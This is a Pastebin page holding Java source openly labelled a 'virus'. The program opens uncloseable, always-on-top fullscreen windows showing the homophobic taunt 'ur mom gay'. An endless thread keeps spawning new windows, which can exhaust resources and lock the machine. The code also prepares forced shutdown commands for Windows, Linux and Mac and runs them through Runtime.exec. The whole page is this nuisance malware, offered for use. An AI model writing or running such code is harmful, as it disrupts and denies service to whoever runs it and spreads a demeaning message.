Advertisement
Guest User

urmomgayvirus Source Code

a guest
Aug 17th, 2018
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.94 KB | None | 0 0
  1. package urmomgayvirus;
  2.  
  3. import java.awt.*;
  4. import javax.swing.*;
  5.  
  6. @SuppressWarnings("serial")
  7. public class Main extends JFrame
  8. {
  9.     private static transient long startupTime = System.currentTimeMillis();
  10.     private static transient String shutdownCmd = null;
  11.    
  12.     public static void main(String[] args)
  13.     {
  14.         System.out.println("*** SAFETY PERIOD HAS BEGUN ***");
  15.        
  16.         try
  17.         {
  18.             Thread.sleep(1000);
  19.         }
  20.         catch (Exception e) {}
  21.         finally
  22.         {
  23.             System.out.println("*** SAFETY PERIOD OVER ***");
  24.         }
  25.        
  26.         String os_name = System.getProperty("os.name");
  27.        
  28.         if (os_name.toLowerCase().contains("windows"))
  29.         {
  30.             shutdownCmd = "shutdown.exe -s -t 0";
  31.         }
  32.         else if (os_name.toLowerCase().contains("linux") | os_name.toLowerCase().contains("mac"))
  33.         {
  34.             shutdownCmd = "shutdown -h now";
  35.         }
  36.        
  37.         new Main();
  38.     }
  39.    
  40.     private Main()
  41.     {
  42.         setTitle("urmomgay");
  43.         setSize(Toolkit.getDefaultToolkit().getScreenSize());
  44.         setLocation(0, 0);
  45.         setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
  46.         setUndecorated(true);
  47.         setFocusable(true);
  48.         setAlwaysOnTop(true);
  49.         JPanel panel = new JPanel();
  50.         panel.setBackground(Color.black);
  51.         panel.setLayout(new GridBagLayout());
  52.         JLabel label = new JLabel("ur mom gay");
  53.         Font font = new Font("Arial", 0, 48);
  54.         label.setForeground(Color.white);
  55.         label.setFont(font);
  56.         panel.add(label);
  57.         add(panel);
  58.         setContentPane(panel);
  59.         setVisible(true);
  60.         Thread t = new Thread(new Spammer());
  61.         t.start();
  62.        
  63.         if (System.currentTimeMillis() - startupTime > 59999)
  64.         {
  65.             crossPlatformShutdown();
  66.         }
  67.     }
  68.    
  69.     private void crossPlatformShutdown()
  70.     {
  71.         if (shutdownCmd != null)
  72.         {
  73.             try
  74.             {
  75.                 Runtime.getRuntime().exec(shutdownCmd);
  76.             }
  77.             catch (Exception e) {}
  78.         }
  79.     }
  80.    
  81.     private static class Spammer implements Runnable
  82.     {
  83.         @Override
  84.         public void run()
  85.         {
  86.             while (true)
  87.             {
  88.                 new Main().requestFocus();
  89.                 System.out.println("ur mom gay");
  90.             }
  91.         }
  92.     }
  93. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement